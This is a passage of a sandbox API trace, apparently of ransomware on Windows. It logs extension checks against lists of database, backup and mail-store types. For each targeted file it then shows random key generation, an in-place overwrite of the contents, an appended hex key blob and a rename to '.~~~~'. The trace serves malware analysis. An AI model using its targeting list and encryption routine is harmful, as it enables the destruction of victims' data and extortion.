	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".MYD") returned 0x0
	[0142.165] lstrlenW (lpString=".DBT") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DBT") returned 0x0
	[0142.165] lstrlenW (lpString=".ACCDB") returned 6
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.165] lstrlenW (lpString=".fdb") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".fdb") returned 0x0
	[0142.165] lstrlenW (lpString=".bak") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".bak") returned 0x0
	[0142.165] lstrlenW (lpString=".myd") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".myd") returned 0x0
	[0142.165] lstrlenW (lpString=".DTXS") returned 5
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.165] lstrlenW (lpString=".ckp") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".ckp") returned 0x0
	[0142.165] lstrlenW (lpString=".dbt") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dbt") returned 0x0
	[0142.165] lstrlenW (lpString=".db") returned 3
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".db") returned 0x0
	[0142.165] lstrlenW (lpString=".TXT") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".TXT") returned 0x0
	[0142.165] lstrlenW (lpString=".MDF") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".MDF") returned 0x0
	[0142.165] lstrlenW (lpString=".bdb") returned 4
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".bdb") returned 0x0
	[0142.165] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.166] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.167] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.167] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.167] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26215722387) returned 1
	[0142.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe242d50, dwHighDateTime=0x1d60e1e)) 
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2940
	[0142.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2940 | out: hHeap=0x300000) returned 1
	[0142.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0142.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b7e0
	[0142.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.168] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.168] GetLastError () returned 0x0
	[0142.168] GetLastError () returned 0x0
	[0142.169] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.169] GetLastError () returned 0x0
	[0142.169] GetLastError () returned 0x0
	[0142.169] ReadFile (in: hFile=0x104, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x2204, lpOverlapped=0x0) returned 1
	[0142.333] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffddfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.333] WriteFile (in: hFile=0x104, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x2204, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2204, lpOverlapped=0x0) returned 1
	[0142.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.333] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.333] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.333] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.333] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.333] CloseHandle (hObject=0x104) returned 1
	[0142.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9558
	[0142.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif.~~~~")) returned 1
	[0142.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9558 | out: hHeap=0x300000) returned 1
	[0142.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.350] GetLastError () returned 0x0
	[0142.350] RtlWakeConditionVariable () returned 0x0
	[0142.350] GetCurrentThreadId () returned 0xaf0
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".scr") returned 0x0
	[0142.351] lstrlenW (lpString=".cmd") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".cmd") returned 0x0
	[0142.351] lstrlenW (lpString=".dll") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dll") returned 0x0
	[0142.351] lstrlenW (lpString=".bat") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".bat") returned 0x0
	[0142.351] lstrlenW (lpString=".cpl") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".cpl") returned 0x0
	[0142.351] lstrlenW (lpString=".sys") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".sys") returned 0x0
	[0142.351] lstrlenW (lpString=".msc") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".msc") returned 0x0
	[0142.351] lstrlenW (lpString=".com") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".com") returned 0x0
	[0142.351] lstrlenW (lpString=".lnk") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".lnk") returned 0x0
	[0142.351] lstrlenW (lpString=".msp") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".msp") returned 0x0
	[0142.351] lstrlenW (lpString=".pif") returned 4
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".pif") returned 0x0
	[0142.351] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.366] lstrlenW (lpString=".sqb") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".sqb") returned 0x0
	[0142.367] lstrlenW (lpString=".ost") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".ost") returned 0x0
	[0142.367] lstrlenW (lpString=".txt") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".txt") returned 0x0
	[0142.367] lstrlenW (lpString=".mdt") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".mdt") returned 0x0
	[0142.367] lstrlenW (lpString=".BDB") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".BDB") returned 0x0
	[0142.367] lstrlenW (lpString=".eql") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".eql") returned 0x0
	[0142.367] lstrlenW (lpString=".DBF") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DBF") returned 0x0
	[0142.367] lstrlenW (lpString=".EQL") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".EQL") returned 0x0
	[0142.367] lstrlenW (lpString=".FDB") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".FDB") returned 0x0
	[0142.367] lstrlenW (lpString=".EDB") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".EDB") returned 0x0
	[0142.367] lstrlenW (lpString=".DACPAC") returned 7
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.367] lstrlenW (lpString=".VHD") returned 4
	[0142.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".VHD") returned 0x0
	[0142.367] lstrlenW (lpString=".DBV") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DBV") returned 0x0
	[0142.368] lstrlenW (lpString=".dacpac") returned 7
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.368] lstrlenW (lpString=".sdf") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".sdf") returned 0x0
	[0142.368] lstrlenW (lpString=".accdb") returned 6
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".accdb") returned 0x0
	[0142.368] lstrlenW (lpString=".DBX") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DBX") returned 0x0
	[0142.368] lstrlenW (lpString=".MDT") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".MDT") returned 0x0
	[0142.368] lstrlenW (lpString=".SQB") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".SQB") returned 0x0
	[0142.368] lstrlenW (lpString=".vhd") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".vhd") returned 0x0
	[0142.368] lstrlenW (lpString=".bac") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".bac") returned 0x0
	[0142.368] lstrlenW (lpString=".mdf") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".mdf") returned 0x0
	[0142.368] lstrlenW (lpString=".BAK") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".BAK") returned 0x0
	[0142.368] lstrlenW (lpString=".BAC") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".BAC") returned 0x0
	[0142.368] lstrlenW (lpString=".dbs") returned 4
	[0142.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dbs") returned 0x0
	[0142.368] lstrlenW (lpString=".vhdx") returned 5
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.369] lstrlenW (lpString=".NDF") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".NDF") returned 0x0
	[0142.369] lstrlenW (lpString=".dat") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dat") returned 0x0
	[0142.369] lstrlenW (lpString=".DBS") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DBS") returned 0x0
	[0142.369] lstrlenW (lpString=".CKP") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".CKP") returned 0x0
	[0142.369] lstrlenW (lpString=".edb") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".edb") returned 0x0
	[0142.369] lstrlenW (lpString=".PST") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".PST") returned 0x0
	[0142.369] lstrlenW (lpString=".dbf") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dbf") returned 0x0
	[0142.369] lstrlenW (lpString=".SQL") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".SQL") returned 0x0
	[0142.369] lstrlenW (lpString=".pst") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".pst") returned 0x0
	[0142.369] lstrlenW (lpString=".dbv") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dbv") returned 0x0
	[0142.369] lstrlenW (lpString=".SDF") returned 4
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".SDF") returned 0x0
	[0142.369] lstrlenW (lpString=".dtxs") returned 5
	[0142.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.370] lstrlenW (lpString=".db3") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".db3") returned 0x0
	[0142.370] lstrlenW (lpString=".OST") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".OST") returned 0x0
	[0142.370] lstrlenW (lpString=".dbx") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dbx") returned 0x0
	[0142.370] lstrlenW (lpString=".DB3") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DB3") returned 0x0
	[0142.370] lstrlenW (lpString=".DAT") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DAT") returned 0x0
	[0142.370] lstrlenW (lpString=".VHDX") returned 5
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.370] lstrlenW (lpString=".ndf") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".ndf") returned 0x0
	[0142.370] lstrlenW (lpString=".DB") returned 3
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DB") returned 0x0
	[0142.370] lstrlenW (lpString=".sql") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".sql") returned 0x0
	[0142.370] lstrlenW (lpString=".MYD") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".MYD") returned 0x0
	[0142.370] lstrlenW (lpString=".DBT") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DBT") returned 0x0
	[0142.370] lstrlenW (lpString=".ACCDB") returned 6
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.370] lstrlenW (lpString=".fdb") returned 4
	[0142.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".fdb") returned 0x0
	[0142.371] lstrlenW (lpString=".bak") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".bak") returned 0x0
	[0142.371] lstrlenW (lpString=".myd") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".myd") returned 0x0
	[0142.371] lstrlenW (lpString=".DTXS") returned 5
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.371] lstrlenW (lpString=".ckp") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".ckp") returned 0x0
	[0142.371] lstrlenW (lpString=".dbt") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".dbt") returned 0x0
	[0142.371] lstrlenW (lpString=".db") returned 3
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".db") returned 0x0
	[0142.371] lstrlenW (lpString=".TXT") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".TXT") returned 0x0
	[0142.371] lstrlenW (lpString=".MDF") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".MDF") returned 0x0
	[0142.371] lstrlenW (lpString=".bdb") returned 4
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".bdb") returned 0x0
	[0142.371] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.372] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.373] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.373] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
